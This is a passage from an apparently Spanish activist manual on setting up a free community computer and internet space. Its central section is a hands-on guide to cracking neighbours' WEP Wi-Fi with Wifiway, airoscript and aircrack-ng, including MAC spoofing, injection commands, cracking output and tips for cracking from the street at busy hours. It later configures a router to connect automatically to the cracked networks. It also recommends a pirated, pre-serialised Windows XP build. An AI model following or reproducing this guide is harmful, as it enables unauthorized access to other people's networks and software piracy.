instalacion por completo. Ya tendremos nuestro ordenador listo para ser utilizado.

Lo primero que debemos hacer es instalar las nuevas actualizaciones que esten disponible hasta el dia de la fecha: para esto
necesitaremos tener internet (lo veremos mas adelante). Buscamos la terminal (Aplicaciones / Terminal) y escribimos:

sudo apt-get update

sudo apt-get upgrade

Nos pedira la constrasena y en el caso que exista una nueva distribucion del Ubuntu nos lo actualizara preguntandonos
algunas configuraciones. Este proceso puede llevar bastante tiempo.

Una vez actualizado, hay un comando muy utilizado para descargar los programas e instalarlos automaticamente. En el
siguiente ejemplo veremos como instalar los soportes para escuchar mp3, ver DVDs, y varias cosas mas

sudo apt-get install ubuntu-restricted-extras

Si el ordenador va a ser usado para dar clases, existe un script muy util para cambiar el look de Ubuntu a XP, esto beneficia
el primer encuentro entre el usuario inexperto y Linux ya que se asemeja mucho al entorno grafico de Windows. El script
puede ser descargado en http://ubuntu.online02.com/files/XpGnome.tar.gz , se descomprime y se ejecuta el archivo ./install

Windows 9x/XP
Un 90% de equipos tirados se debe a una sola razon: Windows. Las ultimas versiones de este sistema operativo son
inecesariamente pesadas para llevar al consumo de la tecnologia a una nueva etapa con equipos mas potentes y costosos. El
WindowsXP sigue siendo el mejor desarrollado hasta ahora, habiendo versiones con instalaciones desatendidas muy sencillas
de utilizar, completamente automatizada trayendo ya instalados los programas necesarios para utilizarlo. Estas versiones son
conocidas como UE (Unattended Edition) y en concreto nos centraremos con la MicroXP, ya que es ideal para equipos con
poco procesador y memoria.

MicroXP es una variante del WindowsXP, cuya intención es aprovechar el máximo rendimiento desechando todo
lo innecesario para su funcionamiento. Por ello es uno de los sistemas operativos más rápido de usar y de
instalar, batiendo tiempos récords de instalación y formateo. Ocupa menos de 100mb.

Lo descargaremo de internet googleando microxp site:taringa.net. Lo quemamos en un CD o en un USB, reiniciamos el


ordenador comprobando en la BIOS que nuestro dispositivo sea el prioritario para bootear. Una vez que arranque, la primera
pantalla con la que interactuaremos sera la que nos pregunte en que particion querremos instalar el Windows

14
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

A partir de esta pantalla empezara a copiar al disco duro todos los archivos necesarios para su instalacion, y luego de finalizar
este proceso se reinciara comenzando a ejecutarse en modo grafico para detectar los dispositivos, configurarlos y poner a
punto el ordenador con el maximo rendimiento posible. Este proceso, al ser desatendido, no nos preguntara absolutamente
nada. Ya traera insertada el numero de serie, configurara las redes y el nombre del equipo automatica

Desventajas de Windows

Spyware / Virus: El usuario medio no conoce todos los programas que instala, por eso mientras mas tiempo estemos
utilizandolo agregandole software y navegando por internet las posibilidades de infectar al equipo con programas que
recopilan nuestra informacion aumentan. Estos programas se denominan Spywares y generalmente el antivirus no lo detecta
como tal. Debemos descargarnos la version gratuita del Adware para limpiar todo lo que nos realentiza el ordenador. El
antivirus NOD32 (gratuito) es la mejor solucion en caso que
tengamos un virus: es liviano y funciona perfectamente.

Drivers: Otro problema general son los drivers mal instalado.


Pinchando en Mi PC / Administracion de Dispositivos debemos
verificar si hay algun hardware con el simbolo de advertencia o la
cruz roja. Apagamos el ordenador, desconectamos la placa y nos
fijamos en la etiqueta la marca y el modelo de la tarjeta. Una vez
con esta informacion buscamos por internet la pagina del
fabricante, nos descargamos el driver actualizado y lo reinstalamos
nuevamente.

Numero de serie: En las instalaciones, muchas veces tendremos


problemas con los numeros de serie; estas son una convinacion de
letras y numeros muy larga en la que el sistema corroborara si es
una copio u original.

Problemas del registro: Windows nos puede recibir al iniciarse


con diversos mensajes y codigos en ventanas de advertencia sobre
un problema en el sistema operativo. Solucionarlos es engorroso, debemos buscar en el regedit la cadena exacta y conocer la
causa para poder acabar con el fallo. No es recomendable modificar nada sin hacer un backup primero.

Formatear / Reinstalar: Todos los problemas del sistema operativo se iran en el caso que instalemos una version limpia .
Como comentamos al principio, lo mas recomendable es Windows UE, una version que viene con muchos programas
preinstalados y un sistema automatizado de instalacion muy facil de utilizar.

Fuente de Imagenes : http://sonic840.deviantart.com/art/Computer-hardware-poster-1-7-111402099


Fuente de Información en las descripciones: http://es.wikipedia.com
Lugar recomendable para descargarse los archivos: http://taringa.net
Todo lo demas: http://oldt.info

15
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Conseguir el internet
Teniendo todos los ordenadores que querramos para nuestro espacio telematico, llego el momento de habilitar el internet
dentro del lugar. Para esto necesitamos que haya redes wireless en la zona abiertas o con encriptacion WEP.

En el caso que haya redes de nombre WLAN_XX o JAZZTEL, mejor que mejor. Para llevar a cabo este proceso utilizaremos el
WifiWay.

Que es Wifiway?
http://foro.seguridadwireless.net

Wifiway es una distribucion GNU/Linux pensada y diseñada para la auditoría de seguridad de las redes WiFi.
Para utilizar este sistema operativo no necesitamos instalar ni formatear el disco duro, ya que lo
ejecutaremos LiveUSB desde un pendrive. Incluye una larga lista de herramientas de seguridad y auditoría
inalámbrica listas para ser utilizadas, especializadas en la auditoría Wireless, Bluetooth y demas interfaces.

Como se utiliza?
Este tutorial esta orientado a usuarios de Ubuntu 9.04 (GNU/Linux).
Antes que nada debemos descargar la imagen de grabacion (lo podemos googlear escribiendo wifiway download) Tenemos
dos formas de ejecutar este livecd: quemandolo en un disco cd-rom o creando un usb booteable. Este ultimo es el que resulta
mas practico, ya que las netbooks no llevan lectoras de cdrom. Para crear un usb booteable primero se debe formatear en
fat32; abrimos una consola y ejecutamos

sudo gparted

Cuidado! Esta aplicacion borrara toda la informacion que tenemos en el pendrive. Nos abrira un programa para formatear
discos, con entorno grafico muy intuitivo y bastante facil de usar. Seleccionamos nuestra unidad usb, la podremos identificar
por su tamaño y porque generalmente se encuentra en /dev/sdb1 . Hacemos click derecho sobre la particion y la
desmontamos con la opcion Umonut. Nuevamente hacemos click sobre la particion y veremos que nos ha habilitado muchas
mas opciones: elegiremos Format toy la opcion FAT32. Le damos al boton Apply, nos formateara el usb y finalizamos el
programa. Paso seguido nos descargaremos el UNetbootin. Para esta aplicacion necesitaremos los packetes mtools y 7z.

sudo apt-get install mtools 7z

Ya teniendo estos paquetes instalados, le damos permisos de ejecucion al unetbootin y lo ejecutamos:

sudo chmod +x unetbootin-linux-35

sudo ./unetbootin-linux-356

Nos abrira una ventana como esta

16
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Seleccionamos la opcion Disk Image y buscamos el archivo wifiway-1-final.iso . Corroborar que esta montado el usb, luego de
formatearlo no suele estar montado (tan facil como conectar y desconectar). Le damos a OK y la operacion tardara 15
minutos. Ya tenemos nuestra liveusb creada, reiniciamos y arrancamos la portatil desde el pendrive con la opcion Select boot
device de nuestra bios. Elegimos la primera opcion de booteo y cada vez que nos aparezca una pantalla azul le daremos a la
tecla Enter.

El sistema tardara un poco en iniciarse, en el momento que nos aparezca esta pantalla ya tendremos todo listo para
comenzar a auditar tecleando startx. Nos abrira un entorno grafico (KDE).

Modo Monitor
http://www.aircrack-ng.org/doku.php

Lo primero que debemos averiguar es que chipset tiene nuestra placa de red wireless y si esta se puede poner en modo
monitor. Si la tarjeta es usb hacemos un lsusb , en caso contrario tecleamos lspci. Este comando nos dira quien es el
fabricante del chipset. En nuestro caso, es una Atheros. El WifiWay funciona bien tambien con las Ralinks r61 y las Intel
ipw3945. Lo importante es saber si se puede poner en modo monitor
Para averiguar el chipset de nuestra tarjeta y saber si se puede poner en modo monitor

Utiliza un buscador en internet con las palabras ”<modeo de tarjeta> chipset” o ”<modelo de tarjeta> linux”.
Revisa la página web del fabricante de la tarjeta. Algunos de ellos dicen el chipset que usan en sus tarjetas.
En algunas tarjetas (por ejemplo las PCI), es fácil ver físicamente el chip wireless. Lee el nombre que tiene impreso como por
ejemplo Atheros, Texas Instruments, etc. El número del chipset tambien está impreso habitualmente.

17
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

El comando “dmesg” con frecuencia contiene mensajes indicando que tarjeta se ha detectado y cual es su chipset.
Si la tarjeta es PCI, necesitas usar el comando “lspci” para ver cuales son los identificadores de la tarjeta.
Si la tarjeta es USB, necesitas usar el comando “lsusb” para ver cuales son los identificadores de la tarjeta. En algún caso,
“lsusb” no funciona (por ejemplo si usbfs no está montado), pero puedes conseguir los identificadores del “kernel log” usando
“dmesg” (o en /var/log/messages). El comando “lsmod” puede ser usado para ver que módulos están cargados en nuestro
sistema. Si la tarjeta wireless ha sido auto-detectada puedes averiguar el chipset analizando cual es el módulo que ha sido
cargado.

Una vez que sabemos los datos, nos dirigimos a Menu Inicio ->Wifiway y elegimos la opcion “Atheros” (si es la que tenemos)
y luego Add Interface (modo monitor). Nos abrira una ventana con un iwconfig en el cual antes de cerrarla podremos fijarnos
si va todo ok. Esta es la manera automatica que tiene el Wifiway, hay maneras mas complicadas. Mas adelante vamos a ver
cuales.

aircrack-ng & airoscript


La suite aircrack-ng son una serie de programas ideales para hacer warchalking. En este caso vamos a utilizar elairodump-
ng, aireplay-ng y el aircrack-ptw .
Cada uno de estos tiene una funcion: el primero captura los paquetes que necesitamos en la desencriptacion. Aireplay
inyecta datos para que el router nos siga mandando IVS, y por ultimo el aircrack-ptw es quien decodifica la informacion. Igual
que al poner el modo monitor, tenemos dos maneras de utilizarlos. Teniendo en cuenta que esto se va a utilizar en la calle,
necesitamos un script que nos automatize la auditoria. Ahi entra el airoscript.

Para ejecutarlo nos vamos al mismo menu de antes (K) y en la seccion Wifiway->Wireless seleccionamos la opcionairoscript
new (spain). Tambien se puede ejecutar desde una consola tecleando
airoscript.chi
Nos recibira con la descripcion del script y lo primero que nos preguntara sera

Selecciona Resolución de Pantalla

### 1) 640x480 ###


### 2) 800x480 ###
### 3) 800x600 ###
### 4) 1024x768 ###
### 5) 1280x768 ###
### 6) 1280x1024 ###
### 7) 1600x1200 ###
Seleccionamos la resolucion de pantalla que queremos. Lo siguiente que nos pregunta es nuestra interface de red wireless

Selecciona tu interface: (athX for madwifi devices)

1) eth0
2) wifi0
3) ath0
En mi caso, pulso el 3. A partir de aca nos muestra el menu general

Selecciona una Opción


### ### 1) Escanear -Escanear Objetivos
### ### 2) Seleccionar -Seleccionar Objetivo
### ### 3) Ataques -Atacar Objetivo
### ### 4) Crackear -Conseguir la Key
### ### 5) Autenticación Falsa -Cliente Falso en Objetivo
### ### 6) Desautentificar -Desautentificar del Objetivo
### ### 7) Otros -Utilidades Varias
### ### 8 ) Inyección -cambiar al Menu de Inyección
### ### 9) Wlandecripter -Especifico redes Wlan_XX
### ### 10) Dlinkdecripter -Especifico redes DlinkWireless
### ### 11) Stkeys -Especifico Routers SpeedTouch
### ### 12) Jazzteldecrypter -Especifico redes Jazztel_XX

18
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

La numeracion nos facilita mucho la comprension del programa (vamos a ir seleccionando las opciones en orden). La primera
es para escanear los AP que hay en el lugar. Le damos al 1 y nos abrira la siguiente ventana

Selecciona especificacion del AP

### 1) Sin filtros ###


### 2) OPN ###
### 3) WEP ###
### 4) WPA ###
### 5) WPA1 ###
### 6) WPA2 ###

Este tutorial se orienta a la encriptacion WEP, por eso vamos a filtrar que solo busque esta especificacion. Le damos al 3 y
nos sale:

Selecciona canal a usar

### 1) Salto de Canales ###


### 2) Canal Especifico(s) ###

Vamos a ir saltando canales para insepccionar un poco como esta la zona. Elegimos el 1 y nos abrira una terminal nueva con
el airodump. Se veria algo como esto:

CH 9 ][ BAT: 26 mins ][ Elapsed: 0 s ][ 2009-08-02 17:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:XX:XX:XX:XX:XX 15 2 0 0 3 54 WEP WEP WLAN_


00:XX:XX:XX:XX:XX 21 2 0 0 4 54e. OPN FON_A
00:XX:XX:XX:XX:XX 5 1 1 0 11 54 WEP WEP JAZZT
00:XX:XX:XX:XX:XX 29 4 0 0 3 54 WEP WEP WLAN_
00:XX:XX:XX:XX:XX 15 4 0 0 2 54e. WEP WEP YaCom

00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 13 0- 2 0 3
00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 58 48-54e 18 14
00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 16 0-54e 0 6

La primera columna nos dira el bssid del router. Este es el MAC (numero de identificacion unica) del aparato. El PWR es la
intensidad de la señal con la que recibimos la señal. Beacons es toda la informacion que snifamos, nos interesan los #Data.
De ahi sacaremos los datos para desencriptar nuestra red seleccionada. Buscamos la que mayor cantidad de numeros tenga
en la columna Data, nos fijamos que en la columna ENC sea WEP y localizamos el nombre en la ultima columna (ESSID). Con
todos estos datos apretamos CTRL + C y cerramos la ventana. Volveremos al menu principal.

2) Seleccionar -Seleccionar Objetivo ###

Listado de AP'S Objetivo

# MAC CHAN SECU POWER #CHAR SSID

1) 00:XX:XX:XX:XX:XX 3 WEP 3 7 WLAN_9A


2) 00:XX:XX:XX:XX:XX 1 WEP 4 7 ONO8499
3) 00:XX:XX:XX:XX:XX 1 WEP 4 12 Livebox-5318
4) 00:XX:XX:XX:XX:XX 2 WEP 6 11 YaComDF5701

Seleccionamos al que mayor cantidad de data encontremos y nos preguntara si queremos seleccionar un cliente

### Quieres seleccionar un cliente? ###

### 1) Si ###
### 2) No ###
### 3) Intentar localizar ###
### 4) Listado de Clientes ###
### 5) Corregir el SSID Primero ###

19
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Le damos a la primera opcion, en caso que haya un cliente nos dara la MAC, sino nos volvera a la pantalla principal. Llego el
momento del ataque

### 3) Ataques -Atacar Objetivo ###


#######################################

### Ataques sin clientes ###


### 1) Falsa auth => Automatica ###
### 2) Falsa auth => Interactiva ###
### 3) Fragmentation ###
### 4) Chopchop ###
### 5) Cafe Latte ###
### 6) Hirte ###

#######################################

### Ataques usando un cliente ###


### 7) ARP replay => Automatico ###
### 8 ) ARP replay => Interactivo ###
### 9) Fragmentation ###
###10) Frag. attack con cliente ###
###11) Chopchop ###

#######################################

### Injeccion si se genera el xor ###


###12) ARP inject desde xor (PSK) ###
###13) Volver al menu Principal ###

Los ataques se dividen en tres seccione: sin cliente, con cliente y con el xor. Las opciones mas comunes son la (1) y la (7).
Seleccionando la (1) nos abrira tres ventanas: una con el airodump capturando, y otras dos con aireplay (uno
autentificandose y otro inyectando arp). Ahora deberemos esperar que #Data tenga un numero entre 5000 y 10000. Esto
tambien depende del tipo de red a la que estemos auditando: en el caso de las WLAN_XX he desencriptado con 25ivs de
data. Lo mismo con Jazztel. Cuando veamos que la cosa va bien, cerramos todo con el CTRL + C y probamos en crackear.
Como se menciona antes, dependiendo de la red podemos elegir las siguientes opciones

### 4) Crackear -Conseguir la Key ###

### 9) Wlandecripter -Especifico redes Wlan_XX ###


### 10) Dlinkdecripter -Especifico redes DlinkWireless ###
### 11) Stkeys -Especifico Routers SpeedTouch ###
### 12) Jazzteldecrypter -Especifico redes Jazztel_XX ###
Finalmente, se nos abrira la ventana del aircrack-ptw y comenzara algo muy parecido a matrix! Ira probando las diferentes
convinaciones y si temos la contraseña nos aparecera un mensaje en rojo como esto:

Aircrack-ng 0.7 r130

[00:00:10] Tested 77 keys (got 684002 IVs)

KB depth byte(vote)

0 0/ 1 AE( 199) 29( 27) 2D( 13) 7C( 12) FE( 12) FF( 6) 39( 5) 2C( 3) 00( 0) 08( 0)
1 0/ 3 66( 41) F1( 33) 4C( 23) 00( 19) 9F( 19) C7( 18) 64( 9) 7A( 9) 7B( 9) F6( 9)
2 0/ 2 5C( 89) 52( 60) E3( 22) 10( 20) F3( 18) 8B( 15) 8E( 15) 14( 13) D2( 11) 47( 10)
3 0/ 1 FD( 375) 81( 40) 1D( 26) 99( 26) D2( 23) 33( 20) 2C( 19) 05( 17) 0B( 17) 35( 17)
4 0/ 2 24( 130) 87( 110) 7B( 32) 4F( 25) D7( 20) F4( 18) 17( 15) 8A( 15) CE( 15) E1( 15)
5 0/ 1 E3( 222) 4F( 46) 40( 45) 7F( 28) DB( 27) E0( 27) 5B( 25) 71( 25) 8A( 25) 65( 23)
6 0/ 1 92( 208) 63( 58) 54( 51) 64( 35) 51( 26) 53( 25) 75( 20) 0E( 18) 7D( 18) D9( 18)
7 0/ 1 A9( 220) B8( 51) 4B( 41) 1B( 39) 3B( 23) 9B( 23) FA( 23) 63( 22) 2D( 19) 1A( 17)
8 0/ 1 14(1106) C1( 118) 04( 41) 13( 30) 43( 28) 99( 25) 79( 20) B1( 17) 86( 15) 97( 15)
9 0/ 1 39( 540) 08( 95) E4( 87) E2( 79) E5( 59) 0A( 44) CC( 35) 02( 32) C7( 31) 6C( 30)
10 0/ 1 D4( 372) 9E( 68) A0( 64) 9F( 55) DB( 51) 38( 40) 9D( 40) 52( 39) A1( 38) 54( 36)
11 0/ 1 27( 334) BC( 58) F1( 44) BE( 42) 79( 39) 3B( 37) E1( 34) E2( 34) 31( 33) BF( 33)

20
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

KEY FOUND! [ AE:66:5C:FD:24:E3:92:A9:14:39:D4:27:4B ]


Tenemos la clave! En caso contrario nos dira qu probemos en los proximos 50000 IVS. Ya solo nos queda saber como anotar la
clave para que el vecino venga con su portatil y le de uso a esta red liberada

Modo Ninja
- Poner en modo monitor la tarjeta y cambiar la MAC

airmon-ng stop athX (esta es la interface de red wifi)

ifconfig ath0 down

macchanger ath0 00:11:22:33:44:55

ifconfig ath0 up

airmon-ng start wifi0


- Localizar red
airodump-ng ath0
- Sniff
airodump-ng -c XX --bssid 00:11:22:33:44:55 -w dump ath0
- Inyect
aireplay-ng -1 6000 -o 1 -q 10 -e vulnerable -a 00:11:22:33:44:55 -h 00:18:84:11:22:33 ath0

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:18:84:11:22:33 ath0


– Crack
aircrack-ptw dump-01.cap

Tips

1. Mientras mas cerca del router estemos,


mas probable es que los IVS suban
rapidamente. Lo recomendable es estar
cerca de una ventana, un tejado o en la
calle.

2. Utilizar una tarjeta usb wifi con un cable


alargador (macho/hembra) y sacarlo por
la ventana hacia la calle. Tambien le
podemos hacer un plato parabolico con
algun recipiente de metal concavo
dejandole un agujero en el medio para
sacar la tarjeta
3. Hacer las auditorias en un horario donde
sea probable que la gente se encuentre navegando. Esto puede ser entre 18hs hasta las
24hs.

21
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Crear la red cableada


Seguramente los ordenadores reciclados no vengan con tarjetas wireless. Por eso mismo crearemos un punto de acceso (AP)
para poder cablear y asi tener un internet mas estable en nuestro espacio

Que Necesitamos?
Para montar la red en local de acceso libre y grauito a internet necesitamos:
Un Linksys WRT54G/GL/GS
Un ordenador con UBUNTU/GNULinux
Cable de red / Conectores RJ45 / Crimpeadora
Un tupperbox de cocina del mismo tamaño que el Linksys
Un Wok de cocina (se usa para cocinar comida asiatica)
Los clientes seran maquinas pIII recicladas corriendo en Xubuntu, aunque este proyecto lo profundizaremos en el tutorial
Trashware

Que es WRT54x?
http://es.wikipedia.org/wiki/WRT54G
Un router inalámbrico muy popular fabricado por Linksys, que permite interconectar
varios ordenadores mediante enlaces Ethernet y 802.11g inalámbricas. Lo interesante
de este modelo es que se le puede instalar un linux, y en concreto nos centraremos en
elDDWRT, una version abierta del OpenWRT.
Nos podemos fijar que version tenemos en la etiqueta de abajo. Las versiones que son
soportadas por este fimware son:

• WRT54G v1.0, v1.1, v2.0, v2.2, v3.0, v3.1, v4.0


• WRT54G v5.0, v5.1, v6.0, v8.0 (2MB flash)
• WRT54GL v1.0, v1.1
• WRT54GS v1.0, v1.1, v2.0, v2.1, v3.0, v4.0
• WRT54GS v5.0, v6.0, v7.0 (2MB flash)

Preparar el sistema
http://www.dd-wrt.com/wiki/index.php/Espanol
Este tutorial esta orientado a usuarios de Ubuntu 9.04 (GNU/Linux).
Al averiguar el modelo del router Linksys lo siguiente que debemos hacer es descargar el firmware GNU/Linux que le vamos a
instalar: lo podremos encontrar AQUI . Buscamos el directorio de nuestra version y el archivo dd-wrt.v24_mini con la
extension .bin

Tenemos dos maneras de cambiarle el firmware al Punto de Acceso (AP) que hemos conseguido: via web o por terminal. En
caso que el router no este flasheado y cuente con el software original lo recomendable es hacerlo de la manera visual. Para
eso debemos conectar el WRT54x por cable de red, averiguar cual es la IP de configuracion (generalmente 192.168.1.1) y
acceder al panel de configuracion . Nos pedira loguearnos, por defecto solo debemos poner de password (sin
usuario) admin . Buscamos la pestaña Administration y en la subpestaña Firmware Upgrade seleccionamos nuestro archivo

En el caso que no tengamos el usuario ni la contraseña, o tenga otro sistema instalado tambien es posible instalar el DDWrt
por consola. Para comenzar necesitaremos instalar el atftp, un servidor de tftp para flashear el aparato.

22
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

sudo apt-get install atftp

Una vez instalado, en el directorio /var/lib/tftpboot nos descargamos el firmware del DD-WRT Linksys WRT54Gx .Deberemos
renombrar el firmware a un nombre mas corto: code.bin

sudo cp dd-wrt.V24_APP-0130-wrt54g.bin code.bin

Nos desconectamos de internet deshabilitando las interfaces y conectamos un cable de red del ordenador al router que debe
estar desenchufado de la electricidad. Abrimos una nueva terminal y tecleamos SIN APRETAR EL ENTER.

atftp --option "mode octet" --option "timeout 60" --verbose --trace -p -l code.bin 192.168.1.1

Dejando preparada esta consola, abrimos una tercera terminal y le haremos ping a la IP del router para saber en el momento
exacto para enviarle el flasheo

ping 192.168.1.1 -t
From 192.168.1.1 icmp_seq=2 Destination Host Unreachable
64 bytes from 192.168.1.1: icmp_seq=4 ttl=128 time=3.50 ms
64 bytes from 192.168.1.1: icmp_seq=5 ttl=128 time=0.90 ms

En el momento que comenzamos a recibir respuesta del router, mandamos el comando del atf9tp dandole a enter y debemos
esperar un rato hasta que finalize el proceso dandonos un mensaje que la transferencia a terminado. Dejamos reinciar el
router y cuando nos asigna una IP abrimos el navegador y accedemos a la pagina de configuracion http://192.168.1.1

ATENCION! En el caso que se corte la conexion o la electricidad del router en el proceso el aparato quedara
inutilizable (brickeado). Para volverlo a su estado original, debemos abrir el AP haciendo presion en la carcasa
por la parte azul y tirando para afuera el frontal negro. Tenemos que tener todo preparado igual que cuando
flasheamos desde la terminal (el router debe estar desconectado de la corriente) Encontraremos un chip INTEL al
que debemos puentear con un clip o algo metalico fino los pines 15 y 16 solo unos segundos despues de
enchufarle y mandarle los comandos por aftp. Este proceso es muy rustico, y podemos terminar de quemar la
placa entera.

AutoAP
http://www.dd-wrt.com/wiki/index.php/Autoap

Lo interesante de este firmware es que nos podemos enganchar a una señal de wifi (libre o con clave) y dar internet por
ethernet a equipos recilados que no tienen salida por wireless. Para esto es muy util el script AutoAP, que se encarga de
scanear continuamente las wifis configuradas previamente testeando su validez y
conectandose a la de mayor señal. Si la conexion se pierde, automaticamente se
conecta al siguiente.

Para configurar este script nos vamos a la pestaña “Administration” y en la subpestaña


“Commands” y en la caja donde insertamos los comandos

nvram set autoap_prefssid="my_net*key*abcdef1234"


nvram commit

23
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Donde pone “my_net” debemos colocar el ESSID de la red a la que nos querramos conectar seguido por un *key* donde
introduciremos la contraseña. Utilizando esta nomenclatura, podremos configurarle todas las redes que tengamos. Deberia
quedar asi:

nvram set autoap_prefssid="WLAN_A1*key*C00134988BD1A JAZZTEL_26*key*E00134988BD1A26"


nvram commit

Ademas del prefssid, tenemos diferentes comandos para configurar el script AutoAP. Para enviarle el comando, debemos
terminar con nvram commit. Alguno de estos son:

nvram set autoap_logger=”html” Nos logueara lo que va leyendo en http://RouterIP/user/autoap.htm


nvram set autoap_findwep=”0″ Unicamente se conectara a las redes WEP
nvram set autoap_ineturl=”www.google.com” Nos dira si esta conectado haciendole un ping a una url
nvram set autoap_prefonly=”1″ Unicamente se conectara a nuestras redes preferidas

Cableado RJ45
http://es.wikipedia.org/wiki/RJ-45
Nuestros equipos, al ser reciclados, probablemente no cuenten con una
tarjeta wifi. Por eso debemos conectarlos a internet por cable ethernet.
Bajamos el cable de la azotea o balcon hasta la sala con ordenadores
(calculamos cuatro metros por planta, lo maximo que puede tener un
cable son 300 metros). Hacer un cable de red las primeras veces es muy
complicado, debemos tener buen pulso para que los cables entren
exactamente en su ranura. El conector RJ45 debe mirarse con la pestaña
para abajo, colocamos los cables para que queden alineados igual que
BlancoNaranja/Naranja BlancoVerde/Azul BlancoAzul/Verde en el dibujo, lo insertamos dentro de la clavija correcta en la
BlancoMarron/Marron crimpeadora y apretamos fuertemente hasta que haga un ruido de
quiebre (la pestaña de seguridad). Hacemos lo mismo en la otra punta.
Tambien es muy util probar el cable con un testeador de red, que nos indica que hilo esta mal conectado.

POE Ethernet
Ya tenemos nuestro router conectado a internet por wifi y enviando señal por ethernet. Lo ultimo que nos falta es enviarle la
energia electrica por cable RJ45, meterlo en una caja estanca para ponerlo en nuestro techo y hacerle una buena antena.

Para hacer el cable POE (Power Over Ethernet) soldaremos la placa del WRT54g por la parte
trasera. Buscamos los 8 pines de la entrada ethernet que dice WAN (esta separada de las
otras cuatro numeradas) y soldamos un cable comun de un hilo entre los pines X y X hacia el
conector de energia electrica. Luego de esto, debemos hacer un cable de red especial al que
ira unido con el cable de alimentacion electrica. Cortamos el cable de red por cualquiera de
sus puntas sy unimos los cables Blanco Azul/ Azul y por otra parte los cables Blanco/Maron
Marron. Podemos cortar las puntas de los otros colores, no las necesitaremos. Del cable de
alimentacion electrica nos deshacemos del conector y nos quedamos con el enchufe gordo.
El cable con lineas punteadas lo unimos con los cables Marrones, el cable negro con el Azul.
Ya tenemos el cable listo, lo conectamos al WAN y se deben encender las luces frontales.

Tupperbox / WokFi
Mientras mas cerca este el Linksys de la conexion que repetiremos, mejor calidad tendra.
Por eso lo pondremos en el exterior, y al ser una placa con electricidad no se debe mojar.
Conseguimos un tupperbox de comida con el ancho para que quepa acostado y le
hacemos dos agujeros para sacar las antenas negras, y otros dos para sacar el cable de
electricidad y el de datos. Tapamos y cubrimos con cinta para que no entre el agua.

Para incrementar la intensidad de señal en la antena, el metodo mas economico y facil


es agregarle un Wok, un bol de metal con rejillas que lo que hace es rebotar la señal para
captar la señal con mas fidelidad

24
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Cabinas Telefonicas Gratuitas en la calle


En este tutorial explicaremos como montar desde cero una cabina telefonica de bajo coste para hacer llamadas gratuitas a
telefonos fijos de mas de 40 paises utilizando Asterisk y un proveedor de telefonia SIP.

Todo lo que utilizamos es facil de conseguir, excepto el adaptador ATA (si no sabes lo que es no te preocupes, mas adelante
se explica) , aunque para utilizar Asterisk no lo necesitamos, solo se requiere si se quiere conectar a telefonos analogicos.
Tambien podremos configurarlo con un telefono IP si tenemos, o bien conectarse con un softphone, es decir, un telefono por
software: el Ekiga sin ir mas lejos. Con el tiempo veremos que la versatilidad del Asterisk es tal que se puede conectar de
muchas formas, de hecho de las centralitas PBX es la que soporta mas protocolos y canales: desde lineas analogicas hasta
clientes/servidores SIP, H323.b, IAX2, adaptadores ATA, placas FXS/FXO, e incluso hay un proyecto para que pueda anunciarse
como un BTS (antena GSM–moviles!!). Para la instalación de las cabinas que tenemos en el Patio hemos utilizado:

Ordenador: AMD Duron a 900 Mhz con 386 Mb de RAM.


Software: Asterisk 1.6
Software cliente: Softphone. Puede ser Ekiga o Twinkle.
Hardware: Adaptador ATA, Linksys SPA3102.
Proveedor de telefonia SIP: VoIPBuster.
Cable telefonico RJ11

Telefono

Numeros
El total de llamadas (a 31 de Diciembre de 2009) son 10051.
La duración media de la llamada es 01 minuto 53 segundost.
Solo 657 son a los monos (666)
Se consumieron mas de 18936 minutos
Se pueden llamar a fijos de 48 paises y a moviles de 3
Llegaron a haber 5 telefonos (3 lineas separadas) por todo el Patio.
3 lineas externas conectadas: VoIPBuster, 12Voip, tarifa plana de llamadas nacionales.
Llamadas realizadas: España (Nacionales): 6312 (91*)
Europa: 1088 (003*) America Latina: 802 (005*)
America del Norte: 317 (001*)Oceania/Asia: 54 (006*)

Conceptos
Telefono es un dispositivo de telecomunicación diseñado para transmitir señales acústicas por medio de señales
eléctricas a distancia. Muy parecido al teletrófono.
http://es.wikipedia.org/wiki/Telefono

RJ11 es un conector usado mayoritariamente para enlazar redes de telefonía. Es de medidas reducidas y tiene
cuatro contactos como para soportar 4 vias de 2 cables. Es el conector más difundido globalmente para la
conexión de aparatos telefónicos convencionales, donde se suelen utilizar generalmente sólo los dos pin es
centrales para una línea simple o par telefónico. Una vez crimpado al cable, resulta casi imposible desarmar el
RJ-11 sin provocar su inutilización.
http://es.wikipedia.org/wiki/RJ11

Asterisk es una aplicación de software lire (bajo licencia GPL) que proporciona funcionalidades de una central
telefónica (PBX). Como cualquier PBX, se puede conectar un número determinado de teléfonos para hacer
llamadas entre sí e incluso conectar a un proveedor de VoIP o bien a una RDSI tanto básicos como primarios.
http://es.wikipedia.org/wiki/Asterisk

PBXUn PBX o PABX (siglas en inglés de Private Branch Exchange y Private Automatic Branch Exchange para
PABX) cuya traducción al español sería Central secundaria privada automática, es cualquier central telefónica
conectada directamente a la red pública de teléfono por medio de líneas troncales para gestionar, además de las
llamadas internas, las entrantes y/o salientes con autonomía sobre cualquier otra central telefónica. Este
dispositivo generalmente pertenece a la empresa que lo tiene instalado y no a la compañía telefónica, de aquí el
adjetivo privado a su denominación.
http://es.wikipedia.org/wiki/PBX

25
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Softphone Un Softphone (en inglés combinación de Software y de Telephone) es un software que hace una
simulación de teléfono convencional por computadora. Es decir, permite usar la computadora para hacer
llamadas a otros softphones o a otros teléfonos convencionales usando un VSP. Ejemplos: Ekiga, Twinkle
http://es.wikipedia.org/wiki/Softphone

VSP El acrónimo en inglés de VoIP Service Provider (Proveedor de Servicios de VoIP), empresa dedicada a
